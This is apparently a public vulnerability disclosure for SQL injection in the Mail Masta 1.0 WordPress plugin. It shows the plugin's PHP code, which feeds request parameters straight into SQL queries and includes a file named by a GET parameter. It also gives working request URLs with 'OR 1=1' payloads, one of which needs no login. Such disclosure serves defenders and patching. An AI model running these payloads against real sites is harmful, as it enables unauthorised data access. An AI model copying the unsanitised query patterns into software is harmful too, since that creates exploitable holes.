WordPress Plugin Mail Masta 1.0 - SQL Injection

# Exploit Title: Multiple SQL injection vulnerabilities in Mail Masta (aka mail-masta) plugin 1.0 for Wordpress.
# Date: 02/18/2017
# Exploit Author: Hanley Shun
# Vendor Homepage: https://wpcore.com/plugin/mail-masta
# Software Link: https://www.exploit-db.com/apps/78745b48b15bf2b81153556ef1c8ec48-mail-masta.zip
# Version: 1.0
# Tested on: Kali Linux x64, Ubuntu 14.04 x64
# CVE : [CVE-2017-6095, CVE-2017-6096, CVE-2017-6097, CVE-2017-6098]


Mail-Masta SQL Injection

Page: ./wp-content/plugins/mail-masta/inc/lists/csvexport.php (Unauthenticated)

GET Parameter: list_id

http://my_wp_app/wp-content/plugins/mail-masta/inc/lists/csvexport.php?list_id=0+OR+1%3D1&pl=/var/www/html/wordpress/wp-load.php


csvexport.php:

$list_id=$_GET['list_id'];
global $wpdb;
$mail_subscribers = $wpdb->prefix . "masta_subscribers";
$masta_list = $wpdb->prefix . "masta_list";
$check_sql = "SELECT * FROM $mail_subscribers WHERE list_id = $list_id";
$check_list="SELECT * FROM $masta_list WHERE list_id= $list_id";
$wp_list=$wpdb->get_results($check_sql);
$wp_list_s=$wpdb->get_results($check_list);


Page: ./wp-content/plugins/mail-masta/inc/lists/view-list.php (Requires Wordpress admin)

GET Parameter: filter_list

http://my_wp_app/wp-admin/admin.php?page=masta-lists&action=view_list&filter_list=0+OR+1%3D1


view-list.php:

global $wpdb;
$list_id = $_GET['filter_list'];
$masta_list = $wpdb->prefix . "masta_list";
$masta_subscribers = $wpdb->prefix . "masta_subscribers";
$listdata = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $masta_list WHERE list_id= $list_id",$query));
$list_subscribers = $wpdb->get_var( $wpdb->prepare("SELECT COUNT( `list_id` ) FROM $masta_subscribers WHERE list_id= $list_id AND status=1",$query));


Page: ./wp-content/plugins/mail-masta/inc/campaign/count_of_send.php (Requires Wordpress admin)

POST Parameter: camp_id

http://my_wp_app/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php/?pl=/var/www/html/wordpress/wp-load.php


count_of_send.php:

include($_GET['pl']);
global $wpdb;
$camp_id=$_POST['camp_id'];
$masta_reports = $wpdb->prefix . "masta_reports";
$count=$wpdb->get_results("SELECT count(*) co from  $masta_reports where camp_id=$camp_id and status=1");


Page: ./wp-content/plugins/mail-masta/inc/campaign_save.php (Requires Wordpress admin)

POST Parameter: list_id

campaign_save.php:

$list_id=$_POST['list_id'];
$check_list = $wpdb->get_var("SELECT count(id) FROM wp_masta_subscribers where list_id=$list_id");


POST /wp-admin/admin-ajax.php?id= HTTP/1.1

...snip...

action=my_action&url=%2Fvar%2Fwww%2Fhtml%2Fwp-content%2Fplugins%2Fmail-masta%2Finc%2Fcampaign_save.php&sender_selected_list_check=check&list_id=1+OR+1%3D1